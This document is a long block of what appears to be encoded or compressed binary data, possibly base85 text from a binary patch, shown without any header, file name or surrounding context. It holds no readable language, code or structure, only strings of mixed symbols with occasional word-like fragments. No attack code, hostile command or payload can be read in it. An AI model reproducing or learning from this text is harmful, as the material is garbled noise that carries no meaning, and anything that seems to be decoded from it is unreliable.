zre&Z*W)fpvX%!{Lx}q@)!QUZ?v97eUq}`|mo3mVEoonhWiLtJzI?rndaxMh&tzZRy z{{~2mbuF<+Vyr8ACNb6(ZI&48irx@CoC9rt#CBWxV9xBVi;=mQh59NT&O%-}sY+YQjpj)$>B_9z3*`M_6n8`p!s71XO=Q_-$V6G(0C zY48_)9TxM^8I1J4ZkU&2`1Scl;%g{>=6}IU;bhR-@NM|MRiNES0Dq05VL`T-V9f3A z!Xj;(fY!1lI;OU9liy5E{2Sl@AodKE_5odt1uDRN4Vf=5^KD^1tI4q0r~iX3DQX5@ zEcxbQX=kiffg#Z1Ui5&O&VQEKPoVAlccGRc^mq7FVpV95R`*0|=lJ3Vty%4KUY@W$$CdQ@*#7o)J)3K~|>3|zTOBtqrypdZ@E zF%hFM!3LJW`58vFcuiOudvcYw9a{HiHfpJG9%FumU$dX-`}1cCthfDhpk;TVSM$H1 z=iRo$5|)>^rOIj3&6qu9UZSi?63Q0k8u~*btZIq(+%t^2gM4FegVSFU7gX~t=bwp3 zPcbXb@oi+TA?SI`T}Y!$VQ@Mo3tBvhCqEg1pdC+w-MvSD52rX6mXfyTD83wWG{d+( z<{y^TufYB9KR^$;GWFrx!}Y(B>dm{7x3WRA;Geq+EMfi!yXGr1VaIK~Vb_-P-B_1& zr0$dmBr3H*pCE&}{2SH(2WXdgyC|Y5^y)2N^_1ZsjI?#A?*eaf+^5%j-w;UBoiin| zVKIY)Qy)=tD<>y|Hvb*^`|Jruda%SmQJ%+0G*v~{$;;KQ$QMuu^W!t`$9hrX-z373 zmaUwOUe@{p4z_*(Ef;S-R!fB~IbI!YWZ1zHUham~^aTGG-`fdYGl>B@-UMxw3&EPQ zd^l*oxxd;u9q}eUm#S-cMNfH!h$hVr!&7?8=7>D8w;dvjjF;0$^`q{Ugna9nIz-<8 zYHGIJbXT;wG-7Tn?*ThhKL|7GH~k?;*2PR-=8t{E;5f{qKD>R>x-$MpOd+i#zYsYwA7-Hsi6lm zQlW_s-1U7bfiIR;d^v<0UEUnn*AO+g_lC{s;Q)IYpMd(-)63jZb7=O(o{)G?zRrBke|Wdz z(90J57xaLC+PX+&DxE!h)}dX~jnIunym@x#9BQ#Gjrrli)FI zvSazrw?jUx`@8t}_YCh<#g@hh4(g1a`zB-E?`jWO4IwR&Z|5S%I2b)j<9ERMSnwBd z4qxiO(_lC3d?Dv&{V+21B%+1`6JPV?>Mz0zNNyY%{wlacycVjOC|XXD%r~ccYe8 zg=!nLQ!HC{7-p@{8}$6*T8yRDHfU2;l$TNV0sRho@=f*D;>h=9HO6Bj+c2S5v$A1m z!?!7PExa#ip9W)Z_Liey(HgS4+RM%0U`lV4=q7PcwU>*3Vx&v_0y24lzKxY=RhqBg z1Eg9##CqO@H)ht+bA9>e=tqVF`c@$mmjATGLDl*$N*q*0)g=z9qCOG_RZ%;MgQ{p? zJy!!|@l{XTd9V=+$yKu`^z9h$8kD6s@gCkt4dKc69f`fCZLH4^jkV2e>%aT@2;(}_vUk^}AONjxhwB8ciQ_)p=D*Ra*BeR^R z%{lpXJV;`DYKip~@i#taS(G?UkL6hl3LE*XyJH6x_7H2R4gZ3@=SzlrHmL6o*SFH$ zG0TE!$A>)w?e#O%S5jitDp!^q)$)0vlRYF>t)|*o+~CZ6Y`jE#JqW@{P7o*t-|+AZCLZNLTGK3JNRo#+NaLY=Qkd(CENTV-RKAC z`7P2;k(R#^@|o9x?d-s>${M_DU$+^oipf`K-I(S@se6{_!28)i20kgbU{7vA@Wd))iXvlzZjP{BxWu409`PD|Ts# z^vV!39CJ1DI5a0=D|QdXd|`)9d;9Oj+!v3xV|cMNps`#y}qPu{P~oDaQvyB%#D>Volgcn@Btw8LKS zF}(^rAy;XgVD-!=LVo$@L)T{TcKMBYpxK3@L`U9H-`EqYS_8)6_#OlKZKc#~;~+l^ zUs$Pf|4{R7_N}lfH1T!>dOpJmbJdmiU;5^*YiN7iMP~!WzDCdUc7}vP|9Bgz_vgS) z*4v1Al!qLwW7!X!@iq7*;x!+ZA$};n?!K?bjIX%|+Sy|mdSt;-*vPSbORve35+%SZHv z-lEnMoh2&56T4KFI7JjlG?r)$(ZkVbErDnwQ6SMEqFF?yi!r``=tn)3D41w3-^w&C z3Hi0~LA#mxv43%5YMEcq*!}+@-z?76Wd$%Rf}AkVzd1mri49;U&(gcZ-yqn!CBZ<) zd6Hh4=P4N@Vd2*7fUa4!Ma}I-V~ot0x}E+lYFvTdo1TCb$VpH0ChPEz_I)E-o+s2cq_(9t+U;wPvYqL{Vjkbp&gNOnhBz;y?0KGW#3hp# z{)da@U%CiW^eA8(cKScY!j9K*N9s#=j7LMB8Cp@2)e6H>Z_fixbMnm9kKf%VtYF&@ z(c8yYzQS?8k6H2i5M+?@4z_r2cT1yhiAm7nVg6`$beUpCYM~7d2KvD>+=M*Hw~scv z8B4TjgVehc*If7LHvDrEO5gqwkJ0W?qWbj6yqjaRzzy1TwkdW-`xj#rlIm75+NjDK zGoGWck4OrKjW{qG_Wm#LfTxcHZ7EZWjsnet$gctFTfq|7_F~TTByHmX%)uq)VKIBp z#7fs_1$J)v{(#nwFC%iEhL#+h1)DvRe=D}Uf*!2#M1RdG=LZ3hcn$vb8(17xpi^Va zymfZyTipSW-=`qhmviZP4N3NO#{Q*0J!h0F0RK1~vQJV9ad`qr@po z%)DDX7YyAX}sFbV}bBef>c(N3VfBC5+b2*>#{=Qe3({G0NXw6FAXV?|nBmQ5tB z58pJ5n}D%QnGTfiI`sY|UosTneXgEsF-9YJ*QF0F*J=I>8bnkr13QK7^vKtY_rk0F z!oJS@HReb1G>oMW-;+G!TZ%(fFj~o*FyBga!iqhUxA{i!HeYUf6u!^fe8qUHxG(Q} z7vxLo-n_4u@*i~f1>XVrpNDo1x5F&!#J$fXey@Hbr&nB%@9#ipPMw~ROC84KTJ!?* zW5NVz`*xnVAExi#uu`a{3cbr#Dho~nk3&Mc-b0H|^u=n`cnWx_S`|_Y6+3_lO<=h))*OKUHI_$=*dXPbXqFt$2LyJE) zF?w|CGwhm)4J0%$KXme#Ir?Vdfj!7iD@Y@W?G_mYTG7F%Wkv>M(5){x9hMEQb}xlC zt!xb0Kjux7-Q7`3SqJFu)>w?bO(;^+u0v0kuLRHEiT<;}SM=19Kzl|4-D6~jm!XjO zC!Rr`^o5Q)az_#P4z1Ov@8di4E;gIAPZr=g_B5<~N5;4bSPBl>ZpLWUp{K$RX4q4E z?g0lr_9!v+0&3ps3fhn}kaO;wm|HhGV%2@@2HMPmST*L^!R~(M7e-lk?3PN*!AP%m z#{95)kJ+7PFJ@zQA&K5L_*N1`e#ZUQq+8(-H1-5bc*UUX#KLH!D$%+Q zkm;w*r46noMWMvPdyWRJ#9q*DUaDizHZwKJ67nlq0_bEA{!mqj2kmt*dY-cr(0S7K z(+}G64;Y!YYf#IxAdJWGBiN;V^n|#h>;#2ioO*L#}|vwYS_f3{?PHV z)IZN07;|f$Bsup)f3FsY=5*wVoiAf))XafV$mD)^khhz`-xPjh_vIPnuiIE5rVhbw zZZTzllxY4ujN8IAl(=jI%?{w|XBGy1&eaUNjA}d=pI8jFgqH=UD}5lBR~@jon9Ebp zpS(GG#UIkW%-bio>3jAyqmp?0LJx}ZCI4=oP!0-5FJIijoEiTF`>^TUNr!)h{hQD4 zvKQojKL367;an(~1M{ddzd2X%mD&rUrZ(759^~$!fCrnQ%H&T!CjbbWiwk$*xN1ErYY&S&S|$Tv^Chq&j+k)!?82~+G0 z)aJqeadp;lT{X|!{|G7wiXb5&Af+G@iXb5pb~iS5cPDmXcXxMpcXwjvZFjfNa(1rk z%kTN`{hHmKot>SHQ+rG@j=F~+ijRaMN>0|s2%Yo}J~%iID_!Hq@WFDgc+v8gcgoMZ z!>1cbbvr@x3V!jG8U@*Pz7yT^H+J>whTt0PMG9t>W+g#YLlN!!TVV$^KML_Ow=n3l zKlV8z%a#yJo0LQ33>k_Y<6eJgZu}cNnQ+#T+7CPKU)@mlmLK*4BUtaD3z$o+d1w0( z|7p>|6LHX=-!k6&ih5tU!;|GI!O{-bQE#hA$hK_2jJeAnF*Jv=wo!;C&k86J`J$k- zyfXhR(s>5PLf>)N;VmnVw!IBQ&%AX*iyHE2%hMj%k=5Z7yPale+gnFO)9Grs2K&rs zHmfPCySK1d<=hrC$oy95)zwjmA#cE1*^z+93n9-M(N0j_~kG6e05i50^?hg;0c#ep;%QI`L@tu=b%~19> z^KE*H67%OqiM|KaS9B9b*}9@wh3YQAxb%92K6=0tF<#XQ6)k@vP{P>}KFym25%$s_ z^;WJA{|)9<>JR?=$1DN!+G}(4?NT14p6Z7ZP)>TN?k?=G5eBUD>irDes{cLbUm z&9@b@xPub)oRP2Jb;z78BPHMC_ekAl3oY*t=9kotZ(@WzUxFI4wpHp~dtGmrgU}qP zz6{f{X6h>|O)lz$KTZDXN_&I`>ki zwz1A9sX{q4AFk7?jcGqAmSQlZ`rBT6+pvd0Gf{cLsev?WNoSxrT~lT35d^O;^A zFJoF{(EpWXnx7soy4Lc~dMsv;xh0|H#S_d@ z$6cT$b03sFIoD4#C&a>foBvRvBFip}fDas+I!TF!Z$K5Pd63#cX&>y51XYd(#gg_i zUpw_TL0#haMA-7AHC86u%!MVj5bax?t+>d(rn(AMA;pji{)e9KOzTH7^$Xh;NE%>; zx%2+HtfJY5etr`V4;}pwA*nYU*;rvf!C+QroS|uw}>i5RuKAA0?D096s=#7A>;n zV=z)$b-?%txrwoGduoE@v!4dCIe>T$$%Ni-yB2Yk=Ujl4sLL4dzZCYlF9yZ>#7n;B zabZGrTENmI%F0x5msHR1pf3f``&k1)tFOZP=Yd!`Cp|}mRc((wO$(OTte(^9=uFN7 zsz{1pO#0_SU(TJ1*o|8V%{Pa`D)UbGzhs>og+z0v7wC@xj6|<8n0-1}q2)U_p{Iv> zqmSD8fX=vr@|-}4sVjV?j)kQB@z{-=xQRMyR>u6dVLV#t)67!Ju4381q3DnQTEeHP z2`IZU90Bi5dC5AwAo{2cuX zefcN{BFEuB%=d-5Vg!^VxvMvgbsb@61BJHsz}RZh1UBbi5G1Le)XJnwc*LL%yFxx9 zi@JoFYuz-A-;wGhB3&ZwE5^b}lAU*=qzO$r8@AniMW#cDQrd*)V?O^EpKHE}c7q@2> zT3o2(S%A5-!bA9KjrwX@`(-Ul zd?^Iqw<7f-1v%!B5;vwn-xu}&My(~;41L~;d#)SBF}BKchvK~s@w|kxHEUc&i?{ke zr`C5d3-mSHg?jH^ij&lca74telW6%(8^|h`z)T&x0i*1&+JS1#PnLsmc{%mT$_hg=;Kjnxy9O=7efp=oJNZ# z_s4#6IO#;ZN&I5<12H+z9CK%;D(H{R!O*hH2AV%tMrxCypb@0Gq<*AHq$o!0LavRj z+@I#ij&*feCD6}G=3?o_4w%tL+(eA8xrx}#s;-4}G?|S>?C#;t@_0v#htNtoxOoW38yT2W8v*K-_084nM!Vjq$N5 zAJ(I<=ObnI3Gl}rq}FhZ?$p=NS0M~#Z?D4ocIq`EY*P^WEoz{b*!*r9c3M4JVoW!> zWhSY4yTQ-i>du|^UCubq6i#+XGrE`=j2>Mxo0SP$|j zkGb=DIZ!m|9j|bYx?)t6CM_kEvV+YvNy+w*g;UmmCAyOCu?`dKwIjuyMZblz#3)ir z`ru7|w5X9a`e^9~&<@h@RP@o>ow&O-c{}JMsoD<6jxgUXQUJ-E)Q=?^Q_C{aK~k3g zQY zTIuu}^TGN}sJHJHjM^jFVbyH4Z`bj%j?`ucO1Kq=mg7DNlFxks+H0`^`SKozE!7-Q z$FFe6UKNdzvVo7WvVY_Jw=oG3_FxbwauaCKFzhI5vwxG-J7e1B%4c&3btTOs`H%+e zK)x~Ri)LN6Sy9k~NJK<)GgxX_0CjASf_Gn6#TDAK>R8pn)tM4npG^RI>%}_G*`=pQ#tK!&yik+(B8k z!yT`E>MBNC`uZlymg$bG?YTWbw+Et*xIv&~(uebqwVdQ5`m$bttRH1te6ahkbr(_6 z_X+xPfjW_1+hTbek$5XQN@Qbp;{Jj23Y7g)*jrMYr=UL)ui$RQv;L4>BPHA`Ab#ne ziYu?fmKbl_8aqj<-3a*k`FGUT!xy`tlU+goh9lon=3DKJ)I424;RDcHRk?q@{s6r{ zzckkFI_j%D?Sr047_}Zh5ck`s<&o5+XvA8Ux3F*OC)BnkS60b4^dIP12>ho$)tA&l zM=;A5;J#!rX~@G&lJALgywKhDur#Cd+^_~h@^lHRfXEVfexHaa)F=ybRS{Klll}+&J zg;2y$fFaez-z&ZSMLKXQF?@FQASW z+&@3rg*qzHs%*5X39ULqtDexRJ+x{*t+Jw3ZD`ehw5kNH3Z_+FwCWnIx=5?)A4fE` zr*}7Q#Z2AmJmUVWBSuQ(F2ve^$MD9-|FEOo_%w%j{0*t_FU-ZYu6RpoO=`*Si&(qn zhuD4A0y9@><{QV_{;{?$Z87hnGkCgsKt+3dQet{vbO`#Z#QXG0a`VmRynim$1$*K9<6erRS&Ac zs#nKhl`XA`rWOZU(15ZC%GU9&RkyE*wJO`-=LVVKwG!1qUOO-&4IGW$-)fGzB&Y{$ z&O^FY!zBJIb{#bF7e=ky8+dZ~P>j{m7ePgW(I35&L6ygYR&NEVgXX1w&Q-4u_xSg~6+#a+{86LQEZ9!n~vO6dJi=TxMwtc3g7rqPfUX1*56Qe7ga zdKRPUM{Dk-K7@%ZZJobRqI$z#=c~?ouUyBS?Zjxj4Ow<9YMaA4l4(^o_2!w@5;Ybj zg2$u8LMNn-Qs2Gnd<#gwO=cpS!M267j&tLn<U>$v+=ar_`x{y|+qI%O=8?Siw(!6@-&h=q_RWp3&W7oEEEkgZU`kA;Q23V8~x zJ?Ab|>t~qI9`*iidfAM%wNlo*7`5F<$!<`_RCjfHriYPwYkYQtGNx`{6lwA?QZJ}? ze>FW!^D-!7KBr&iCVwMeFexD_RAiwspunGnMK+jpPrX;A%g!7Rdip6$WF>2P3JpA8 zNa(POmr!0G(0$4#sH?klecC=9_lwN^OhJZyc|Ljx<)iGbMU;$>u6CflN~UM!WF^xy z%o6mYF0R4en?dGx(@XMwRNwmQ5}n#${~S-ML&`r2dzv#NLAyzoXHYh=40Z}1>tW|M zicdT(>O(e%viLrE#e%&NSZk-MNYqw^QD1Wvv066n3n-RP3hUm(`u6i7*0*&_aD@@T zyFx*WagCGjxUJ~h+zqSHi+0$Xo!bekY+2&@cdW2UTdkyQDz694e4x2uSNLEzucv?U zYTHhoE2P^IHyGE`W~82^n|op3A{E8D#N||bp;te!2eDMoDs}3F&#>9XAMLmsh}C&l z0Z?HzE~P{m=%P9WMaxd!Lo0uEK)s`fxk&09(g%9uF|C?^5&NNXq#x%Y3$BqMT1r`C zmupG;S{HnnARE%N{_V$3xII^(R)HYWp7Tm@o-t9Z9pwA^vKl;JUHg zb?m9VPhqceqzQI6TkgXL$;_9x4aQ84zOZ>uOVF_|*k_OZ3HrvT`sJCrG5~!vyAC|= zH5|0T3w12a1bNi&lQ(mlr!gh4P|pK^uJ~HOpvRQTe-|tmRC2 zOEP#5!1&f4h9IR)*cMfUW@`VWY@#Wygbmgj+%`njPcvkR;$nmbXnxFkXIUOSZ7 zOYgSNo^>Xt_ckc$Y@ocHhO*$cFUf0rpJVJYG5>0`|h&TJY8O zcd$O_Q@q%Bflsx9*^b_x$hYr3@-6-f`+OS1mcs1cR6co(;|TalTh3KMFC3?(L)o_5 zW~j}9(b-wOSFh)dO(B>&edw39SJ7KdUxEf~hj%vwfSS|36vjpuN2ESrdmAw}(pqC? zc*hbBl@X^Y6A`DE!<@vvhjkGpX3OB0$Mjk;*5TofR?a?*Q9Gm-Y)MPOIN!7eBV`R| zq>Jiw9qo-pl~6}mWzfA6xW*1D3Hn7@umfbRNEJ!T%OmwJ=?H1&Y1ne7Bd*?et3R`7 zTTV>D3_Pk`4D5_mYZH^ZHiM zT-z6AbDRkgElKJsLF-FaR|%R%EXT~+?HlTt!MoUf^5V|ZS1!%3~8jzEfc7)ibCgkQOwh1-aOcd9+|CE%-tU zy3m4qw7`BdY*D`e5Kq3O1?6bL4_eS|CPq&(saF-uiOop&7h@%{<<9aXWj~K$OkWy_ z$nN5WQPG%Vp~Fgy&_P9!+J@9$U5Dy;Srw1ec~7wh1V%%)dUt-w*N6W5P5(8f|6b95 zm*~F|jDrL8Uw)QNVl>s~3YK~a>tzqp_(S1hf!BHLWVZRhzIkz&<%e=_+qW$8O(uDk zgKXhh>@7mo6}a}n-|x`(b_aIDN7YrdP7UF>EJN8Dj>{t)mxVb0wdH=Tg8KGQYspG# zq^{YutS_mg`XWQijdYClV zkE_dmt}chJ;7(u`KeWxeAbQYZ8D{y`^iU`EYCA^uTSjMfM)qAs_7O&QI3s%#Bl`fg zBr>v>Q%fPvlesxhrcz55?%Um{r8;dfqn2^Br5kPekF!)0+H#(=lsRW9^%|b^+fB|= zk({NTbCxPe3;NN5Kw7Y!7R;puHf+aeTJVh)6r=?^XhG&lu%#I-us>@i_KoM<^kQF} z$R^V&M|!spt;$UAzNA$RXjK}mO5lihVnmc>98|JFeo?(GtjWI~_S94O#N8_s^0j8F1Fyl7_}0~=KiJpx zBZcugzKnWHS=V8&-dxrcQ59sb-dxtQ+3MY7O@IIS3Yqhocnq(TpY4NHb7*}#+U!m( z2aBPOQ(57wrk0?EV{D|3l!owl%lfeNH)+mstb+T!)WddzJ!+TnbXW$sEu`va^xq0Y*Y{#bw#lS*U%{N^iKzA_E_-59>VG5jS~@n>n+ zMP4EeP-mlQ%{g0Oc5HAQyI1qrD3eR3^ivcjsyl(2avy;=a&CexOVwNQ`pnUQ$v&bl zwKMi5!MpLy>rEbL?l><}^3|-2sOw)Becm7tcNC*Bn9F zan+Doc|YhhcmG9M+nbMZV#_Jk(eN>>%Eh}@BNn3*7^-XjCJtOr;;d&jIf6)iBD6-$m+QQm%WDZTy3|$+r^Pk#Y*Y z|LlZ4+{xeA-SkaBiD469)ztq{t9WUp{cd-OgF-RT63H)yy98yCd>zeDZ^Am{8`}_d zF zDvYu%0}!!4>LazkI>}v+kHai`v_E=(buXm0r@lkU*jes)gI(GgUW?b|J25?rn?$pE zfF+bN6SGQ$U!ox(*krWZPlq) znu;$6O`@zC?;_sYh1#0mK`*44VaM3$7Gx8xan-Si_uI?zdH0|gJjJV}-eA}BOG{F% z;i#iDDQPEU0qWm&+R~CXnS>4($DX10TkQYJ_d|&yBo9&}Qg{dC8`&LHs6A-t7Th6- z-we&|GGk5g+>M@@n1(nVeLt^QwP-#p_2TYfYcX7v&tCw|fBEEML?_GwE%1LC9L&CDyX3YFDbMgxZU0s;7EJQ(PS{p&Du*t7UW6VoaOXgAyq_whpp5QW9zC zIe5sLw3yU$0BV~+8t@)1vJbWt3r6{&ZQDKKMb_gCS~)6{naCP7!&nXc2KuuUW9FDT z>07sG1F7{P$QF=>kdFVvs@uR8Be~};jLX84G4_Y^c~sWTnE8v>#yC203Qqv9AH|&b z>p8}L_Dk4j_nVJV5%~i1%l&VlsT|40IJ%$oz(}dI9)7;=gl`IOcYvkM7J(vKTF3~! zp`JVIu{zBKcLToXg!T3dtt8cTxPy2tt~O%m$pjmby^Sj<^u;4s=rL(G=`3m6bc~9b zq$blK>qgm7QYEIAQ**5D!GK+$Skm8}kQLqv%1b)UvQJ49NNuSliR47`*#mtRqzx>a zs@4E)RsJw@p>Ar0(6XAOCmSI9tyU79I%or^C21yUS4s)VH|W0PM?nJ zw`!X}wQ7QrD}sh4gKF*qomz)4Xp4H`%VImbcxgve48C~y)e&#>)K@dQZsqkWaYFU4 z7Zr*ml?!$gS>h4A=^o>XcZDn`;oYs>XJRE^S|z*<)c1s~$X+&vmP-Sn<(8W3v;`Mx z;LF{4Z((V3b%mx=Lyy7cG!L|Lrus%(r$(wdQPY+k1%zhh$Ihs+I*VVYx_N_&6hUoO zNY7`QOTO*jP{;5whq3iBZ2n4p?!^B<(CrsTI=_|oJ@bK_?vdB zQ}vuo*QS*Y&y zRbH0(2CSZp}qq_4JH>5*_VE?LNE8^7n(lP-Jpzh zIBd2weKhL$SlL~u)yV*%QtFNK^wf+c0xyJ`N-R(J(77zZLSZ3(LLb!0Wa+6HOFZsq zX)0@!sN2m|sHyrJUb-w}KA)|=rb>f4G7ja=&`RO_mT(8--TU&gYJT3DK@8)e6~ zbu}nsYNEO}UGx9dRwW|Xw9zQhh%|9>kjNI2>J>%43zXHUZ!P&Ah5HE=qwEZ2S*m1{ z)U%ZW4a#U$@+yDRHp7C6uVaNCeDoGtXB{Av{h3b9SoTF$7t?N|Y~NRYLetbeOD!uN zXf#O1)`sEdBxw5EGWRFOpQYTTuy$74$P5FuYbV*-NP3;i5td&VUNLC5kLojX_=F^lZq=coq?vX>F*G zGpSv*ctfV^)idG8={}~TM!k{oF+xN9tb|N&?1WCvvKG4YsgO|rV<ufNoxE!9ynr=x}Gkzwhl!Jz2JIYj3BpNG&(wXW)X zOP+&rQ?|?2M^ay(aTHqd&p~M7au=cXo?b%!4z@yf&7Fm+t8t|3NGODSuFQ9|uD7Jt zei$TlSX~M05?<;WJDoE2!e4g_(=(%O^J0q&ZQNN@D7BrnK^aT5>*s5FZIsAUqNq@p zzd=IR%lim5Ut3tn-Xm1#?7uuhRt@8YDjf3?nh+W()PA$OP#bl>Sl70@KwhCkEIXWa zTvTI0=ew!Kf~GSnA~cmta1yc`34PyZfU>AK(E0xPqmJ&PIb+MSsO$X?M$4ZR@G&T3 z>Ws0)O<#@FMeXf{b|~w$Y-mbhAzwANv~0tmB0>)vy9kw6Uv}!$&m?cA&QYT_JvC#! zeHsUuei`*PRA)+PYNby7)8u{|vP4oV(oc2Ll+IVMl$+3O@9YNspE~Bcm`p3u_ZIam z)FV5Cvc9z!dU~X&LArzE%py0nmla?|CpopOuqmgJZ!F25)LD&MojO5%&8ulxmk6OTSsjEMnK0enBI(hPp?QP8n10bjoKcWTduK=d@{Z+w3M(dM&8?utFkR-5d0? zx3|c4HGpjQ^-z)7M~4ZGwksm^LH(Ij*Ri@iWbM`IPFl9}AWAeK4LS^2@nfLDM?iN- zxktx~mNP38gPlb?Tp{b;?7UX0vUx3VVvIU8P8&pRD8YDriX? z0nN4BK{oTJhm=@CeI4k($4jCl_4)y{K^ zsb@{V-N#oS1db+F^W!5Ya zPFdJ%ik?&#{RhVDZ8noks9zR z(4dTEW7S!<-Hg=D>Mz!szTR>Y>JkK8owrHVw>MbOlx_%X?pE^xf%ZjKIb~WXGTu`W|TOOg)>O98u)Qt9(y;ICI z(y(tLs%BO#P~^{dCzs>N^olWz`j*rhk(ognAc%te`r-M5k_^ zSU~7%-J(LT`XHZe0;uA&KuHbpg)Bwt(CyF>Rx(dP(^#V&R3a<1QI=cd7`yp0j zjm8ug8mX=!blC-mk@}8wY&T>DZlew}(#r#=?PSwP(K6&9N*q$BVrtDd2B5ai>S|2O z^6vpnVI94iK+AEK$gk!SU7|Wmyi@OXYuTR`Nd3xIPA2&`LuyD~T0bOE%1)qtJ6PKt z)@H%7xrH)D&J?xUPcl6IPp$TvrmNLnQ*pK0Yr3VLW~5WbvPIQ%;^{`&iNVE%28?kq zNavelq`okVG|e|C!5kDIlu=(_)gMcYd<)mw8l+QoY?M~9yV6LtFBmR#ArMr9shgf6 z->&wWGS=~?ikoSjp~Y)ym{8WbQ9^kF@(CTa2oRd7PJ`7Yj;bdx>6B65js6y<&4#{; zxibqj7^r0#t)E`O!L-B3cW|4fK{{2hp=0-ZnD!c}pZ9^RMV2vNbG6StWaJzEGq=#_ zkN}}&>iM8fHMzwI`2~aKx6}hL#HInq5;a^F*P_l=T@IBeG7U`lPlsb4seU zx(A@OOs5t{k{MGkWkDUYDa&yaw)}e>DOy(FDqxVdS;x?Hbxwlg%Jgf9lR`RG$HtN- z7A99CwT*gis_A$;$jUSW^<-+9&XDyv6)Porr-d1mQS*+%Atp~l^F(#_v8GMxbZAYD z)tS)gl+n9>>e}AdDDg0-kI;m5#f7p~%qDaoEI{bL5-4FC3fX6$7)k9uHM3ANQe(-d z>(w!|Q$<=Y*BAlYU--q$JF#EDOBjukvu~G z74$GDqZXSb>S?5*#YSCAYVs?p-Ul&c3F)U!8f2G#hJiuv(@zdJ$egJY)6aY~Wcx$a zyATFdP|s^M^`$I=GFwuo^6L4KQKFNbdN;)&-}JM$4YJ9UOQ?DJ+3JRDQ2OcV25nA1 zTiu}d>8Dcb5|h;PeS_X@QqMFEs+oSGxjpP6aU z&h(Q(4a%aP`D^-~e$uER`<#CIs6p9At7pdsIi#ODZje*@ndAn|rmPt$Z~6(7MrvI8 z$*Kk=v8T%xL(c@Me_`v?mg#3|8~JWHs3(dB9kl_SNI$*RkhQdjEP}K>CuDP3c04J? z5vhaJKNGcontp1hQMT_B&{R@hQm1F|hh zS|0T_i^yK5LFSi!s)eCB{~yq`AD|kPC6W#^)seDA=9xvy(e#tt4Sg3JV}zbEUh2|< z-?U)VAB=^MM__%F`b&b=VnMps2r_5ViM5EjUt3_a_cKtY%CKre2hfA1pw2l>Qb%FN z+OG7oPYmn(G=+zL_EPW87_#5->J12kny^1iRZt@0IpVMDD#(uKLmi8*L7!6v(Dm== z^BK3}49ywmwTjL1nIetaK3&T%G**2Bqh*^bdkQUz0{M)z7um`g{z47a8Qr?Xp3BhE z>|UtIc8s+X8m_KRbiT%Sf`uyk#tXSWguaodK;9EvB(=6WJ5?-wT39GsWpAP1v~O3n zNRfqEBVTBN1d&zAV=I*QB}(YqKPRD2`EmaF&K>69^_$4h5Zc_UxD>~02S?0pZLC{q<9^?*7(SkvQTp!ZRlGM1>NO4Kw; z6xr(`H2P1FK^g0}HbuTu|)hY5`!{U&XDVkN0%e^?rn(bCO76HJ{AOUEpX6e{KvFH~IJ z+0m(M+JOcrtF)~D)4W0!>TZvgt-t0eWTx)+XxU(Ok4Mv8bx%Q4r8c$(WwfQq=LAy^ z!UN&QGDZdg-1C83!ly^0a%^fe)`I?i^ z{H?`>_Np^Nbv~EPpi#=ZT6X@ThtM5$Zm5=RxuPj!y&JwIn1&hku2S)*DW*>ep>;QN z2_+~G=~Rc9JVJ@lpgt_|h9w5FL{pZSC?zsl@KsrmYFO|?S)j@5S%lE5T-k-v%I6Ro zJi|(8h>BBPBJx*|&LI4iW@?y?)|}D4R5e1U81^+# zF{G)08ljpJc6tjP8EPw3w3fZl&^1VH%hX2|b*ipIzgc)bTQ1W~qmDA_NqRbEOidUZ zXqsoF9w-|uv^<-gPzTD+lywkU#loPci73(JxRs>NT5BnEYk;fJ_wb@Z*VNU!uI;CL zfY67kZbBjDvKf@oLuD>xHZ3;ni&keZrjt%xVaQ?%Ihj@)bWokgsHw8ZGPbgTIwf+0 zk*}|MXGc>Zb;nE7CiTQl(|7evjV23qa-^nh>dZY&In){PnkJHx)ya`smS3G5scE29 z5utTzM%S`zYTvHu7-c!f`ipFyx(lIG?~qOkWo(E4rXr@TMmtt?vJ}d!{w}X&rI&$X znC~p}4GZ z@*Q65B9ube@My?BI%SvCCRv>1RZcNlhhpQoL-%;K$fiXHsrn;jzZfg zyZO4f$Udw_Y9eKk%y*q-Z@xl_Lz$tuxO$UPza?6~8{YF>5v8th)thligRb686dLtg zUAY>vw$~GcE`Rh9x?Wgas~M^NyzoZy!NZ;Pv zvRjQKP5%nxi;-d3@b%e<8F+)Z^hR|RW0Z&pg62K1eMJ@?h3|m2Uc{Tw_BYjayiuZC znuk!!J?b8SA@ew%O=woryh3G1F*}VC%xvfnJDe?8N zx~4PA-iT9I69#q23H#99aJ*SY0t2Wv5!A#Hu~;U(UM4B(?TT zbxmyKbC|5I;|)6453M}Q|2J;jj}rES)m5O8FZdhsJt%^AaF5l7Elu;H-klB5zm3#0 zYhAYDFLmW*X!+X+KJaM_%3K4QE7VX|y+*zrJ5b_eA@r)}Z*@PyNL{@c*59}G5?Q;A zsP`Uw`o32VNxjn_b>wyd4Y-W94Y`9ldUr+dN8Lt?5-XuEz3QOfS~9i42Yg*q+!9}m z)F6er3&!9xm!n?OL|(8LV%(3VvBW2<_d+cur}AmcMNXs=f_=KGG3d zDpd#-&A-coT_gy1mi# z+F5$-IK5WxA|h-V{WpgG%U=nzz~^I_W7Fur8k{Yf&})hG&;xqo61~y03P$a;{g^k# zOhzwk9}D`~52K>T0?e#UzMu!^c$!JuiYH+#IFkm{g{)5r#Ky&(nE4w-VwUo$h1wj| zyN%jc5hD=?F`S!jEVGf+-I+1l9`2#;85z-3?>~IA($4{!=aoUKjWx#Br^1NXVfEnC z<4rJ+SK1BPk(yW`M%BcZF9$|iNNo;In49ib!N|M$3_YD`H)etN;qc#O^=7}ebb42; zu)o!pn0j3;W5O3uzF+VK%E5BclDcC6#*tlFczmwOT=bQm54w6Aw1XB*c?Vk@&mzK3 zr-2SuguZhJP{)=+@YS_%=#P`%K|e#0YUYdi)Q*2xD7z7(w$mQORjfJ@Qn!4c3v7AX z9czX4D9oqz`y;X!PeEVaW{J!_P@)g>9b~>Mt&uuq0wUWYC*mM_0epY^1^VcFA+-0~ zNksPM2=w`_ZpgQYbI$WaSQoN%z>E~cGd>zmz$&@vIm(XegUCL%7}W49X!g$#@yn9& zuz9TuX1MQRsO@6}VyJR`wCHp!$ZaJ&UdIEnA?l8e_W0>ow5>1KuzKIr=u_^+T_Hu=V6 z#}QbXr3b!Y+j9k9F*WUxOUC6S^$!$1e(RLScUcX4BGrDKwWKb7t4?_}PA=GX1K(fz zs2I}E8&9Qx{$8(B9`L+xi8lshaO~Z6E&P zL}B0g(b9uudLmxd_+XCBS`{%lQu#$k)7)mcgvK-nwWX{vWd$!gNxs3}m^U`0VGVe? z6*QT$Bb5CM$F4LY6!S}NQW1X7{DSDx5;Bwf_RLcnMl_29&=7X0DAFFpdUV#)vnb-b9PKtwYqEy^fuh z7e`q_Fy@yn_b{tiQg$;xQj6`ytk 